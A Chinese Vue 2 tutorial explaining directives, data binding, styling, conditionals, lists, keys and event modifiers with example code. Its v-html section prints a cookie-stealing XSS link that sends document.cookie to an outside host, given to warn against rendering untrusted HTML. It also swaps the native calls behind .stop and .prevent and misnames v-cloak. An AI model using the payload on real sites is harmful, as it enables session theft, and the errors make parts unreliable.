指令是指在Vue模板中由Vue原型对象或用户自定义的、带有v-前缀的特殊HTML属性。指令可以用于解析标签(包括标签属性、标签内容、绑定事件等等)。


数据绑定

单向数据绑定

v-bind单向数据绑定:单向绑定是指数据只能从Vue实例中的data流向页面内容。

v-bind:置于要使用表达式的HTML属性前,Vue会将其属性值解析为表达式。v-bind的语法规则如下:

v-bind:attribute="expression"
  • attributev-bind指令的参数,v-bind指令的参数是HTML属性。
  • expression:表达式中的对象和方法等均来自Vue实例。

例如:

<div id="app">
  <a v-bind:href="vueUrl">Vue官网</a><!-- v-bind:插值表达式 -->
</div>

<script type="text/javascript">
  new Vue({
    el: '#app',
    data: {
      vueUrl: 'https://cn.vuejs.org/',
    }
  })
</script>

v-bind:可以简写为:,例如:

<a :href="vueUrl">Vue官网</a>

双向数据绑定

v-model双向数据绑定:双向数据绑定指数据不单能从Vue示例的data中流向页面,还能从页面流向data

v-model的用法与v-bind十分类似,将v-model:置于要使用表达式的HTML属性前。v-model的语法规则如下:

v-model:value="expression"
  • valuev-model的参数只能是<input>标签的value属性。

    由于v-model仅作用于value元素上,所以v-model:value可以简写为v-model。简写形式如下:

    v-model="expression"
    
  • expression:同v-bind指令,表达式中的对象和方法等均来自Vue实例。

例如:

<div id="app">
  单向数据绑定:修改该输入框,Vue中的数据并不会被改变。
  <br>
  <input type="text" :value="name">
  <hr>
  双向数据绑定:修改该输入框,Vue中的数据将会被改变(上方输入框也会随着数据的改变而改变)。
  <br>
  <input type="text" v-model:value="name">
  <hr>
  v-model 简写形式:
  <input type="text" v-model="name">
</div>

<script type="text/javascript">
  new Vue({
    el: '#app',
    data: {
      name: 'Linner'
    }
  })
</script>

注:

v-model指令只能用于<input><select><textarea><checkbox><radio>等表单控件元素上创建双向数据绑定,根据表单上的值,自动更新绑定的元素的值。

因为v-model双向绑定是为了能于用户的输入进行交互,所以v-model作用于不能由用户改变值的元素上是无意义的。

v-model 修饰符

v-model常用的修饰符有:

  • .lazyv-model默认在input事件中同步输入框的值与数据。使用.lazy修饰符可以v-modelchange事件中同步

    change事件中同步指的是输入完成后再进行同步。例如在type="text"的输入框中使用.lazy修饰符时,只有在按下回车键或者鼠标点击输入框外的其它地方时才会进行同步。

  • .number:在type="number"时Html中输入的值也总是会返回字符串类型。使用.number修饰符可以自动将用户的输入值转为Number类型(如果原值的转换结果为NaN则返回原值)。

  • .trim:自动过滤(去除)用户输入的首尾空格。

收集表单数据

为复选框进行双向绑定:

<div id="app">
  <table>
    <tr>
      <th></th>
      <th>ID</th>
      <th>姓名</th>
      <th>年龄</th>
    </tr>
    <tr v-for="preson in presons" :key="preson.id">
      <td>
        <input type="checkbox" :value="preson" v-model="checkedPersons">
      </td>
      <td>{{preson.id}}</td>
      <td>{{preson.name}}</td>
      <td>{{preson.age}}</td>
    </tr>
  </table>
  <div v-if="checkedPersons.length > 0">
    选择的元素有:
    <ul><li v-for="preson in checkedPersons">{{preson.name}}</li></ul>
  </div>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      presons: [
        {id: '001', name: '张三', age: 18},
        {id: '002', name: '李四', age: 19},
        {id: '003', name: '王五', age: 17},
      ],
      checkedPersons: [],
    },
  });
</script>

为单选框进行双向绑定:

<div id="app">
  <p>Vue.js 好不好用?</p>
  <input type="radio" id="good" value="好用!" v-model="result">
  <label for="good">好用!</label>
  <br>
  <input type="radio" id="notGood" value="不好用?" v-model="result">
  <label for="notGood">不好用?</label>
  <p v-if="result != ''">您选择的是:{{result}}</p>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      result: '',
    }
  });
</script>

为下拉列表进行数据绑定:

<div id="app">
  <select v-model="selectedItem">
    <option hidden value="">选择一门编程语言</option>
    <option value="C/C++">C/C++</option>
    <option value="Java">Java</option>
    <option value="Go">Go</option>
    <option value="Python">Python</option>
  </select>
  <p v-if="selectedItem != ''">您选择的是:{{selectedItem}}</p>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      selectedItem: '',
    }
  });
</script>

下方是演示了收集表单数据中一些常用的方式:

<div id="app">
  <form @submit.prevent="submit"><!-- 提交后不跳转 -->
    <!-- 普通输入框 -->
    <label for="account">账号</label>
    <!-- 去掉首尾空格 -->
    <input type="text" id="account" v-model.trim="userInfo.account">
    <br><br> <label for="password">密码</label>
    <input type="password" id="password" v-model="userInfo.password">

    <!-- 控制输入为数字类型 -->
    <br><br> <label for="age">年龄</label>
    <input type="number" v-model.number="userInfo.age">

    <!-- 单选框 -->
    <br><br>性别:
    <input type="radio" id="male" name="sex" value="male" v-model="userInfo.sex">
    <label for="male"></label>
    <input type="radio" id="female" name="sex" value="female" v-model="userInfo.sex">
    <label for="female"></label>

    <!-- 多选框 -->
    <br><br> 爱好:
    <!-- 
      checkbox 如果不配置 value
      那么默认读取的是输入框的 checked 值(布尔类型)
      -->
    <input type="checkbox" id="sing" value="sing" v-model="userInfo.hobbies">
    <label for="sing">唱歌</label>
    <input type="checkbox" id="dance" value="dance" v-model="userInfo.hobbies">
    <label for="dance">跳舞</label>
    <input type="checkbox" id="rap" value="rap" v-model="userInfo.hobbies">
    <label for="rap">Rap</label>
    <input type="checkbox" id="basketball" value="basketball" v-model="userInfo.hobbies">
    <label for="basketball">打篮球</label>

    <!-- 下拉选择框 -->
    <br><br> 所在地:
    <select v-model="userInfo.city">
      <option value="" hidden>请选择校区</option>
      <option value="beijing">北京</option>
      <option value="shanghai">上海</option>
      <option value="wuhan">武汉</option>
    </select>

    <!-- 
      文本输入框
      在 change 事件中同步
      -->
    <br><br> 备注:<br>
    <textarea v-model.lazy="userInfo.note"></textarea><br><br>
    <input type="checkbox" id="agree" v-model="userInfo.agree">

    <!-- 勾选框 -->
    <label for="agree">
      阅读并接受<a href="http://linner.asia">《用户协议》</a>
    </label>
    
    <br><br> <button>提交</button>
  </form>
</div>
<script type="text/javascript">
  const vm = new Vue({
    el: "#app",
    data: {
      userInfo: {
        account: '',
        password: '',
        age: '',
        sex: '',
        hobbies: [],
        city: '',
        note: '',
        agree: false,
      }
    },
    methods: {
      submit() {
        console.log(JSON.stringify(this.userInfo));
      }
    },
  });
</script>
  • <input type="text">v-model收集的是value值,而用户输入的就是value值。
  • <input type="radio">v-model收集的是value值,且要给标签配置value值。
  • <input type="checkbox">
    • 没有配置inputvalue属性,那么收集的就是checked(勾选为true,未勾选为false)。
    • 配置了inputvalue属性:
      • v-model的初始值是非数组,那么收集的就是checked
      • v-model的初始值是数组,那么收集的的就是value组成的数组。

样式绑定

Vue.js v-bind 在处理 classstyle 时,专门增强了它。表达式的结果类型除了字符串之外,还可以是对象或数组。

class 绑定

例如为v-bind:class设置一个对象,从而动态的切换class

<head>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.min.js"></script>
  <style>
    .red {
      color: red;
    }
  </style>
</head>
<body>
  <div id="app">
    <label for="ch-color">修改颜色</label><input type="checkbox" v-model="use" id="ch-color">
    <br>
    <div :class="{'red': use}">
      <code>v-bind:class</code> 指令
    </div>
  </div>

  <script type="text/javascript">
    new Vue({
      el: '#app',
      data: {
        use: false,
      }
    })
  </script>
</body>

:class="{'red': use}"这条指令中,当usetrue时,red将会被应用在该class属性上。即当usetrue时,:class="{'red': use}"相当于class="red"

:class样式绑定可以同时动态地绑定多个样式:

<head>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.min.js"></script>
  <style>
    .redBox {
      background-color: red;
    }
    #app {
      width: 100px;
      height: 100px;
      text-align: center;
      line-height: 100px;
      background-color: yellow;
      user-select: none;
    }
    .bold {
      font-weight: bold;
    }
  </style>
</head>
<body>
  <div id="app">
    <div :class="{'redBox': isClicked, 'bold': isBold}" @click="clicked">
      点击切换样式
    </div>
  </div>

  <script type="text/javascript">
    new Vue({
      el: '#app',
      data: {
        isClicked: false,
        isBold: false
      },
      methods: {
        clicked() {
          this.isClicked = !this.isClicked
          this.isBold = !this.isBold
        },
      }
    })
  </script>
</body>

如果:class中指定的对象过长,可以使用计算属性computed来定义。例如:

<div id="app">
  <div :class="classObject" @click="clicked">
    点击切换样式
  </div>
</div>
<script type="text/javascript">
  new Vue({
    el: '#app',
    data: {
      isClicked: false,
      isBold: false,
    },
    computed: {
      classObject() {
        return {
          redBox: this.isClicked, 
          bold: this.isBold,
        }
      },
    },
    methods: {
      clicked() {
        this.isClicked = !this.isClicked
        this.isBold = !this.isBold
      },
    }
  })
</script>

:class中可以使用数组。例如:

<div id="app">
  <div :class="[redBoxClass, boldClass]">
    数组语法
  </div>
</div>
<script type="text/javascript">
  new Vue({
    el: '#app',
    data: {
      redBoxClass: 'redBox',
      boldClass: 'bold',
    },
  })
</script>

:class会将数组中的变量(如上,redBoxClassboldClass)的值解析为该元素的class属性。利用数组语法动态切换。

<div id="app">
  <div :class="activedClass" @click="clicked">
    点击切换样式
  </div>
</div>
<script type="text/javascript">
  new Vue({
    el: '#app',
    data: {
      activedClass: [],
    },
    methods: {
      clicked() {
        if (this.activedClass == null || this.activedClass.length == 0) {
          this.activedClass.push('redBox')
          this.activedClass.push('bold')
        } else {
          this.activedClass = []
        }
      },
    }
  })
</script>

style 绑定

可以通过v-bind:style设置样式。例如:

<div id="app">
  <div 
    :style="{'background-color': activedColor, width: size + 'px', height: size + 'px'}">
  </div>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      activedColor: 'red',
      size: 100,
    }
  });
</script>

上方实例中的:style相当于style="background-color: red; width: 100px; height: 100px;}"

如果:style中的对象过长,同样可以在data中定义一个属性或者使用计算属性computed。例如:

<div id="app">
  <div :style="styleObject"></div>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      styleObject: {
        'background-color': 'red', 
        width: '100px', 
        height: '100px',
      },
    },
  });
</script>

动态切换样式:

<div id="app">
  <div :style="styleObject" @click="clicked"></div>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      bgColor: 'yellow',
      size: 100,
    },
    computed: {
      styleObject() {
        const size = this.size + 'px'
        return {
          'background-color': this.bgColor, 
          width: size, 
          height: size,
        }
      },
    },
    methods: {
      clicked() {
        const bgColor = this.bgColor
        const red = 'red'
        const yellow = 'yellow'
        this.bgColor = bgColor === red ? yellow : red
      },
    },
  });
</script>

:style同样可以使用数组语法。例如:

<div id="app">
  <div :style="[activedStyles, sizeStyles]"></div>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      activedStyles: {
        'background-color': 'red',
      },
      sizeStyles: {
        width: '100px', 
        height: '100px',
      },
    },
  });
</script>

条件指令

在Vue的指令语法中,条件判断使用v-if指令,其语法如下:

v-if="expression"

v-if指令将根据expression的值(truefalse)来决定是否显示当前元素,例如:

<div id="app">
  <button @click="changeSeen()">Show/Hide Text</button>
  <p v-if="seen">Testing v-if...</p>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      seen: false,
    },
    methods: {
      changeSeen() {
        this.seen = !this.seen
      }
    }
  });
</script>

在使用v-if的同时,还可以在后续元素中使用v-else指令给v-if添加一个else块。例如:

<div id="app">
  <button @click="changeSeen()">Show/Hide Text</button>
  <p v-if="seen">Displayed...</p>
  <p v-else>Hidden...</p>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      seen: false,
    },
    methods: {
      changeSeen() {
        // 方法中的 this 指的是当前 Vue 实例
        this.seen = !this.seen
      }
    }
  });
</script>

vue@2.1.0中,新增了v-else-if指令,它的语法格式与v-if相同,但是需要在使用了v-if的后续元素中使用。例如:

<div id="app">
  <button @click="changeNum()">Next</button>
  <p v-if="num === 0">Number 1...</p>
  <p v-else-if="num === 1">Number 2...</p>
  <p v-else>Number 3...</p>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      num: 0,
    },
    methods: {
      changeNum() {
        this.num = ++this.num % 3
      }
    }
  });
</script>

注:

v-ifv-elsev-else-if一起使用时,结构不饿能被“打断”。v-elsev-else-if指令必须在使用了v-if的后续元素中使用,它们不能单独使用。并且使用了v-else之后不能在没有使用v-if的情况下再次使用v-else-ifv-elsev-else-if的使用就像其它语言中的if ... elseif ... else if语句一样。

v-if可以和<template>标签配合使用,以达到将多个同时需要连续使用同个v-if指令的元素在同一条件下一齐显示,而又不影响最终编译出来的页面结构。

例如:

<h2 v-if="!isDisabled">Title 1</h2>
<h2 v-if="!isDisabled">Title 2</h2>
<h2 v-if="!isDisabled">Title 3</h2>

可以使用<template>标签将上方代码优化为:

<template v-if="!isDisabled">
  <h2>Title 1</h2>
  <h2>Title 2</h2>
  <h2>Title 3</h2>
</template>

v-show指令的作用和语法与v-if类似,只不过v-show是单支的条件判断,它不能像v-if一样支持v-elsev-else-if指令。即v-if支持多条件分支,而v-show仅支持单条件分支。

v-showv-if有以下区别:

  • 适用性:
    • v-if适合用于一些切换频率较低的场景。
    • v-show适合用于一些切换效率较高的场景。
  • 特点:
    • v-if可以和v-elsev-else-if一同使用,但要求结构不饿能被打断。
    • v-show指令控制的DOM元素始终存在页面结构中,未被移除。当v-show指令的值为false时,仅仅是使用样式将控制的元素隐藏起来。
    • 使用v-if时,元素可能无法被获取(当v-if指令的值为false时);而使用v-show时,元素一定可以被获取。

循环指令

Vue模板中循环使用的是v-for指令。v-for指令的语法如下:

v-for="item in items"

其中,itemitems中的元素,并且items是Vue实例中的对象。v-for指令需要以... in ...的形式存在。例如:

<div id="app">
  <ol>
    <li v-for="item in items">{{item}}</li>
  </ol>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      items: ['item1', 'item2', 'item3'],
    },
  });
</script>

v-for可以通过指定参数来获取value(值)、key(键)、index(索引)等。例如:

<div id="app">
  <ul>
    <!-- 
      当遍历的元素为数组类型时:
      - 第1个参数为元素的值 value
      - 第2个参数为元素的索引 index
      -->
    <li v-for="(value, index) in items">
      index={{index}}, value={{value}}
    </li>
  </ul>
  <hr>
  <ul>
    <!-- 
      当遍历的元素为对象时:
      - 第1个参数为对象属性的值 value
      - 第2个参数为对象属性的键 key
      - 第3个参数为对象属性的索引 index
      -->
    <li v-for="(value, key, index) in user">
      index={{index}}, {{key}}: {{value}}
    </li>
  </ul>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      items: ['item1', 'item2', 'item3'],
      user: {
        name: '张三',
        sex: '男',
        age: '19',
      }
    },
  });
</script>

v-for指令可以循环整数:

<div id="app">
  <ul>
    <li v-for="i in 10">{{ i }}</li>
  </ul>
</div>

key 属性

循环指令还可以和:key一起使用,即为每个元素指定一个唯一的标识。例如:

<li v-for="(value, index) in list" :key="index">
  index={{index}}: {{value}}
</li>
<li v-for="(value, key) in object" :key="key">
  index={{key}}: {{value}}
</li>

:key可以指定为index(索引)、key(键)或对象中其它唯一标识的属性。例如一个user对象的数组,其中每一个user对象拥有一个唯一标识的属性id,那么可以将:key指定为user.id,即<li v-for="user in users" :key="user.id">

当使用:key="index"并且对数据进行破坏顺序的操作时,可能会出现问题,例如:

<div id="app">
  <table>
    <tr>
      <th></th>
      <th>ID</th>
      <th>姓名</th>
      <th>年龄</th>
    </tr>
    <!-- 
      默认是以index作为key,即
      <tr v-for="preson in presons">
      与下方代码作用相同
     -->
    <tr v-for="(preson, index) in presons" :key="index">
      <td><input type="checkbox"></td>
      <td>{{preson.id}}</td>
      <td>{{preson.name}}</td>
      <td>{{preson.age}}</td>
    </tr>
  </table>
  <br><button @click.once="add">添加新元素</button>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      presons: [
        {id: '001', name: '张三', age: 18},
        {id: '002', name: '李四', age: 19},
        {id: '003', name: '王五', age: 17},
      ],
    },
    methods: {
      add() {
        const preson = {id: '004', name: '赵六', age: 25}
        this.presons.unshift(preson)
      }
    }
  });
</script>

打开页面后,选择当前页面中显示的3个元素(id分别为001002003)它们的选择框:

uTools_1694410917618

然后点击按钮新增元素:

uTools_1694410975125

会发现选择框的位置与原本元素的位置发生了偏移。这是因为Vue在数据修改完成之后会生成对应的虚拟DOM(Vnodes),而虚拟DOM存在于内存之中。要将修改的内容显示到页面上,还需要将虚拟DOM转换为页面中的真实DOM。在将虚拟DOM转为真实DOM之前,Vue会将缓存的两个虚拟DOM(修改之前和修改之后的虚拟DOM)使用虚拟DOM对比算法进行对比。在使用v-for生成的虚拟DOM中,使用的是元素key属性(key不会作用于真实DOM上,仅在虚拟DOM中生效)来标识虚拟DOM对象。如果使用:key="index",那么在对数据进行破坏顺序的操作时,数据的顺序被打乱,数据的索引和值于原先数据的索引和值并不相对应,就会导致虚拟DOM在对比时,进行错误的替换。

虚拟DOM算法在进行对比时,是根据虚拟DOM的属性和值进行对比。修改前后属性和值相同的虚拟DOM,Vue会将其复用(直接使用真实DOM来复用,这样才能保留用户对页面的操作);而修改前后属性或值不相同的虚拟DOM,Vue会使用修改后的虚拟DOM进行替换,并根据这个新的虚拟DOM生成对应的真实DOM。但是页面中被用户修改的真实DOM的操作并不会作用于虚拟DOM之中。所以一些操作才会导致页面显示异常。

要修复这类错误,需要为:key指定其它唯一标识。例如使用id作为唯一标识:

<tr v-for="preson in presons" :key="preson.id">

总结:

  • 虚拟DOM中key的作用:

    key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM, 随后Vue进行新虚拟DOM旧虚拟DOM的差异比较。

  • 对比规则:

    • 旧虚拟DOM中找到了与新虚拟DOM相同的key

      • 若虚拟DOM中内容没有发生改变, 直接使用之前的真实DOM。
      • 若虚拟DOM中内容发生了改变, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
    • 旧虚拟DOM中未找到与新虚拟DOM相同的key:

      创建新的真实DOM,随后渲染到到页面。

  • index作为key可能会引发的问题:

    • 若对数据进行逆序添加、逆序删除等破坏顺序操作:

      会产生没有必要的真实DOM更新,界面效果可能没问题, 但效率低。

    • 如果结构中还包含输入类的DOM:

      会产生错误DOM更新导致界面显示出现问题。

  • 开发中如何选择key:

  1. 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
  2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。

列表搜索与排序

列表搜索示例:

<div id="app">
  <input type="text" placeholder="按名称搜索" v-model="keyWord"><br><br>
  <table>
    <thead>
      <tr>
        <td>编号</td><td>姓名</td><td>年龄</td><td>性别</td>
      </tr>
    </thead>
    <tbody>
      <tr v-for="preson in filPresons" :key="preson.id">
        <td>{{preson.id}}</td>
        <td>{{preson.name}}</td>
        <td>{{preson.age}}</td>
        <td>{{preson.sex}}</td>
      </tr>
    </tbody>
  </table>
</div>

有两种实现方式:

  • watch实现:

    new Vue({
      el: "#app",
      data: {
        presons: [
          {id: '001', name: '马冬梅', age: 18, sex: '女'},
          {id: '002', name: '周冬雨', age: 19, sex: '女'},
          {id: '003', name: '周杰伦', age: 17, sex: '男'},
          {id: '004', name: '温兆伦', age: 21, sex: '男'},
        ],
        keyWord: '',
        filPresons: []
      },
      watch: {
        keyWord: {
          immediate: true,
          handler(val) {
            this.filPresons = this.presons.filter((preson) => {
              return preson.name.indexOf(val) !== -1
            })
          }
        },
      },
    });
    
  • computed实现(更简洁):

    new Vue({
      el: "#app",
      data: {
        presons: [
          {id: '001', name: '马冬梅', age: 18, sex: '女'},
          {id: '002', name: '周冬雨', age: 19, sex: '女'},
          {id: '003', name: '周杰伦', age: 17, sex: '男'},
          {id: '004', name: '温兆伦', age: 21, sex: '男'},
        ],
        keyWord: '',
      },
      computed: {
        filPresons() {
          return this.presons.filter((preson) => {
            return preson.name.indexOf(this.keyWord) !== -1
          })
        }
      },
    });
    

实现排序功能:

<div id="app">
  <input type="text" placeholder="按名称搜索" v-model="keyWord">
  <button @click="sortType = 2">年龄升序</button>
  <button @click="sortType = 1">年龄降序</button>
  <button @click="sortType = 0">原顺序</button>
  <br><br>
  <table><!-- ... --></table>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      presons: [ /* ... */ ],
      keyWord: '',
      sortType: 0,  // 0-原顺序 1-降序 2-升序
    },
    computed: {
      filPresons() {
        let presons = this.presons.filter((preson) => {
          return preson.name.indexOf(this.keyWord) !== -1
        })
        // 判断是否需要排序
        if (this.sortType) {
          presons.sort((p1, p2) => {
            return this.sortType === 1 ? p2.age-p1.age : p1.age - p2.age
          })
        }
        return presons
      }
    },
  });
</script>

(“过滤和排序不分家”)在实现过滤和排序功能时,最好的方式是将过滤功能和排序功能使用同一个函数来封装(调用)。


事件处理器

事件是指网页中用户在交互过程中产生的一些行为,例如点击、拖拽、滚动等等。事件处理器就是对用户与网页交互过程中产生的事件进行相应处理,例如点击按钮后进行提交、数据展示等等。Vue中,事件监听可以使用v-on指令,其语法如下:

v-on:event="expression"
  • event:指HTML中的事件属性。
  • expression:当事件被触发时,所执行的语句,通常使用的是Vue实例中的函数(在Vue配置中的methods中定义)。

v-on指令中调用JS表达式:

<div id="app">
  <button v-on:click="counter += 1">Click</button>
  <p>This button was clicked {{ counter }} time.</p>
</div>

<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      counter: 0,
    },
  });
</script>

v-on指令中调用JS函数:

<div id="app">
  <!-- 函数中的参数也是来自Vue实例 -->
  <button @click="hello(msg)">Hello</button>
</div>

<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      msg: 'Hello Vue.js!',
    },
    methods: {
      hello(msg) {
        alert(msg)
      },
    }
  });
</script>

methods在中定义的函数会直接赋给Vue实例,而data中的对象不仅会赋给Vue实例,还会将data中的对象交由Vue实例来代理。

在定义事件处理器时,通常是指定一个事件处理函数来处理(即指定事件处理函数的函数名)。当触发事件时,Vue会调用该函数,并且将当前事件对象event作为参数1传递给当前指定的函数)。例如:

<div id="app">
  <!-- 当事件处理函数没有使用 "()" 时,会将当前事件对象作为参数传递给该函数 -->
  <button v-on:click="clicked">Click</button>
  <p v-show="isShowed">{{msg}}</p>
</div>

<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      msg: '',
      isShowed: false,
    },
    methods: {
      // 事件处理函数可以接收当前的事件对象 event
      clicked(event) {
        this.isShowed = true
        let msg = 'Hello Vue.js! '
        if (event) {
          // event.target 是触发事件的事件目标对象,即当前触发事件的元素对象
          msg += 'Current Event: ' + event.target.tagName
        }
        this.msg = msg
      },
    },
  });
</script>

Vue示例中的方法,最好都使用function(...) {...}来定义。因为使用Lambda表达式(箭头函数(...) => {...})来定义的话,函数中的this指向的并不是Vue实例对象。在methods中使用function(...) {...}定义的函数,它们的this指向的时当前Vue实例对象或对应的组件实例对象。

如果在调用JS函数的同时又要接收event对象,可以使用Vue自带的$event关键词表示要在此处传入event对象。$event例如:

<div id="app">
  <button v-on:click="hello($event, msg)">Hello</button>
</div>

<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      msg: 'Hello Vue.js!',
    },
    methods: {
      hello(msg) {
        console.log(event.target.tagName)
        alert(msg)
      },
    }
  });
</script>

事件处理器除了直接绑定到一个方法,也可以用内联JS语句。如条件指令中所示。

Vue为v-on指令提供了简写形式,可以将v-on:简写为@,例如:

<button @click="clicked">Click</button>

有关Html事件可参考:HTML 事件参考手册

事件修饰符

Vue.js为v-on提供了事件修饰符来处理DOM事件细节,通过由.表示的指令后缀来调用修饰符。事件修饰符常用的有:

  • .stop:阻止事件冒泡。对应event.preventDefault()

  • .prevent:阻止默认事件。对应event.stopPropagation()

    例如:

    <!-- 提交事件不再重载页面 -->
    <form v-on:submit.prevent="onSubmit"></form>
    <!-- 阻止链接跳转 -->
    <a href="https://www.linner.asia" @click.prevent>
    
  • .capture:使用事件的捕获模式。

  • .self:只监听触发该元素的事件。

    只当事件在该元素本身(而不是子元素)触发时触发回调。即event.target是当前触发事件的元素时才触发回调。

  • .once:指定的事件只能被触发一次。2.1.4版本新增。

  • .left:左键事件。

  • .right:右键事件。

  • .middle:中间滚轮事件。

  • passive:事件的默认行为立即执行,无需等待事件回调执行完毕。

    通常情况下,事件触发后,会先执行完回调,然后再执行事件默认行为。

其中:

  • 事件冒泡:当事件被触发时,同样的事件将会在触发事件的元素的所有祖先元素中被触发。

    事件冒泡代码演示如下:

    <head>
      <script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.js"></script>
      <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>
      <style>
        * {
          margin: 0;
          padding: 0;
        }
        .box {
          width: 120px;
          height: 120px;
          background-color: gray;
          position: relative;
          display: inline-block;
        }
        .btn {
          position: absolute;
          left: calc(50% - 25px);
          top: calc(50% - 15px);
          width: 50px;
          height: 30px;
        }
        .box p {
          text-align: center;
        }
      </style>
    </head>
    <body>
      <div id="app">
        <div class="box">
          <p>事件冒泡</p>
          <!-- 
            当按钮被点击时,点击事件会从button元素开始,逐层往上传递,传递链如下所示:
            button —— div —— body —— html 
          -->
          <button class="btn">按钮</button>
        </div>
    
        <div class="box">
          <p>阻止事件冒泡</p>
          <!-- .stop 会阻止事件冒泡 -->
          <button class="btn" v-on:click.stop>按钮</button>
        </div>
      </div>
    
      <script type="text/javascript">
        new Vue({
          el: "#app",
        });
    
        $('.btn').click(() => {
          console.log('The button was clicked...')
        });
        $('.box').click(() => {
          console.log('The box was clicked...')
        });
        $('#app').click(() => {
          console.log('The box of root was clicked...');
        });
      </script>  
    </body>
    
  • 事件捕获:元素的事件触发分为捕获阶段和冒泡阶段。事件触发时先进行事件捕获然后再进行事件冒泡。

    捕获阶段事件的传递顺序与冒泡阶段相反。

    通常情况下事件是在冒泡阶段中进行处理。

  • 多个修饰符可以串联使用

  • 使用修饰符时可以不指定事件处理函数。

按键修饰符

Vue允许为v-on在监听键盘事件时添加按键修饰符,例如:

<!-- 只有在 keyCode 是 13 时调用 vm.submit() -->
<input v-on:keyup.13="submit">

Vue为最常用的按键提供了别名(推荐使用),例如:

<!-- 同上 -->
<input v-on:keyup.enter="submit">
<!-- 缩写语法 -->
<input @keyup.enter="submit">

常用的按键别名有:

  • .enter
  • .delete (捕获“删除”和“退格”键)
  • .esc
  • .space
  • .up
  • .down
  • .left
  • .right
  • .caps-lock
  • .x(例如0-9a-z这些键盘按键,可以直接使用.加上该按键的名称来使用)
  • 以下按键修饰符在单独使用时,必须配合keydown事件才能正常使用:
    • .tab
    • .ctrl
    • .meta(如Win键、Command键)
    • .shift
    • .alt

多个按键修饰符也可以连用。

按键修饰符可以嵌套使用系统修饰键(如ctrlmetashiftalt等)的用法:

  • 配合keyup使用:按下修饰键的同时,再按下其它非修饰按键,随后释放其它非修饰按键后,事件才能被触发。
  • 配合keydown使用:按下修饰键后立即触发。

Vue支持用户自定义的按键别名。例如:

<div id="app">
  <input type="text" @keyup.huiche="keyUp">
</div>
<script type="text/javascript">
  // 定义按键别名
  Vue.config.keyCodes.huiche = 13

  new Vue({
    el: "#app",
    methods: {
      keyUp(event) {
        console.log('Content: ' + event.target.value);
        console.log('Type: ' + event.key);
      }
    }
  });
</script>

常用指令汇总

Vue中常用的指令有:

指令 说明
v-bind 单向数据绑定。语法为v-bind:attr,可简写为:attr
v-model 双向数据绑定。语法为v-model:value,可简写为v-model
v-for 循环指令。可用于遍历数组、对象、字符串等。
v-on 绑定事件处理器。语法为v-on:event,可简写为@event
v-if 条件渲染,可动态控制节点是否存在。
v-else-if 条件渲染,可动态控制节点是否存在。在使用了v-ifv-else-if指令的元素的后续元素中使用。
v-else 条件渲染,可动态控制节点是否存在。在使用了v-ifv-else-if指令的元素的后续元素中使用。
v-show 条件渲染,可动态控制节点是否存在。与v-ifv-else-ifv-else系列指令不同的是,v-show仅支持单分支条件判断。

其它内置指令

输出 HTML

使用v-html,可以将HTML代码插入到标签中。v-html的用法如下:

<div id="app">
  <div v-html="title">Hello World!<!-- 原本的标签内容会被 v-html 所覆盖 --></div>
</div>
<script type="text/javascript">
  new Vue({
    el: '#app',
    data: {
      title: '<h2>Hello Vue.js!</h2>',
    }
  })
</script>

v-html存在安全性问题。在使用v-html插入Html代码时,有可能会被其它别有用心的人利用,在页面中插入一些不安全的代码。例如通过v-html获取他人浏览器的Cookie:

<div id="app">
  <span v-html="link"></span>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      // baidu.com 可以替换成其它非法获取别人浏览器 cookie 的服务器
      link: '<a href=javascript:location.href="http://baidu.com?"+document.cookie>跳转链接</a>'
    }
  });
</script>

点击链接后,浏览器在当前服务器中存储的Cookie(没有被HttpOnly字段限制的Cookie)会被毫无保留地传递到baidu.com这个服务器中。

注:

  • 在网站上动态渲染任意Html是非常危险的,容器导致XSS攻击。
  • 一定要在可信的内容上使用v-html,永远不要在用户提交的内容上使用。

输出文本

使用v-text,可以将文本插入到标签中。其用法如下:

<div id="app">
  <h2 v-text="msg"><!-- 原本的标签内容会被 v-text 所覆盖 --></h2>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      msg: 'Hello Vue.js!',
    },
  });
</script>

v-textv-html不同的是,v-text不能插入Html内容。

v-clock

v-clock可以有效防止当网络存在问题时,浏览器直接将未解析的Vue模板展示给用户。例如:

<head>
  <style>
    [v-clock] {
      display: none;
    }
  </style>
</head>
<body>
  <div id="app">
    <h2 v-clock>{{msg}}</h2>
  </div>
</body>

<script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.min.js"></script>

<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      msg: 'Hello Vue.js!',
    },
  });
</script>

